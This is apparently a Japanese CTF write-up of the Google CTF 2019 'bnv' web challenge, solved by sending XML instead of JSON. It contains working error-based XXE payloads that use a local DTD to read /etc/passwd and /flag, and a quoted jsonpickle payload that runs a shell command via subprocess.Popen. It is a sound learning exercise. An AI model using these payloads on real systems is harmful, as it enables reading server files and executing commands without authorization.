前提知識
- XXE
問題
There is not much to see in this enterprise-ready™ web application. https://bnv.web.ctfcompetition.com/
Writeups
- https://www.youtube.com/watch?v=OqDxy-wm9to
- https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2
- https://www.youtube.com/watch?v=rcgq8LyNDaQ&feature=youtu.be
- https://qiita.com/kusano_k/items/119228d54e1df596d142#bnv-155-pts-76-solved
解説
上の文字は点字っぽい。
最も近い協会を探してくれるサイトみたい。
とりあえず、POSTリクエストの中身を見てみる。
Zurichなら135601360123502401401250
として送られている。
これはなんだろうか。
と思ったが、Chromeのデベロッパーツールを使うと、jsを参照している。
https://bnv.web.ctfcompetition.com/static/post.js
これを見ると、テーブルが定義されていて、これを使って変換されているようだ。
kusanoさんのQiitaでは、ヘッダーからサーバサイドがpythonであることを見抜き、
{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": ["whoami"]}, null, null, null]}
という攻撃コードを紹介している。
これについては、ここやここで紹介されているが、Jsonpickleの脆弱性を利用したOSコマンドインジェクションっぽい。
今回はこれは違う。
実はjsonで送っている部分をXMLで送っても行けるらしい。
まずは、正常系をcurlを使って試してみよう。
curl https://n.com/api/search -X POST -H 'Content-Type: application/json' -d @req.txt
req.txtには{"message":"135601360123502401401250"}
が入っている。
これは普通にうまくいく。
これを
リクエスト curl https://n.com/api/search -X POST -H 'Content-Type: application/xml' -d @req.txt
req.txt <message>135601360123502401401250</message>
とすると、Validation failed: no DTD found !, line 1, column 9
と怒られる。
先頭にDOCTYPEをつけて送信する。
<!DOCTYPE message [ <!ELEMENT message (#PCDATA) > ]> <message>135601360123502401401250</message>
ちゃんとデータが出てきた。
これで、XMLを受け入れる体制が整ったので、XXEを試す。
<?xml version="1.0"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///hoge/%file;&#x27;>"> %eval; %error; '> %local_dtd; ]>
よくわからないが、これでetc/passwdが得られる。
<?xml version="1.0"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///hoge/%file;&#x27;>"> %eval; %error; '> %local_dtd; ]>
後は、ルート直下にflagファイルがあるだろうと推測をして、これを入れると、フラグが手に入る。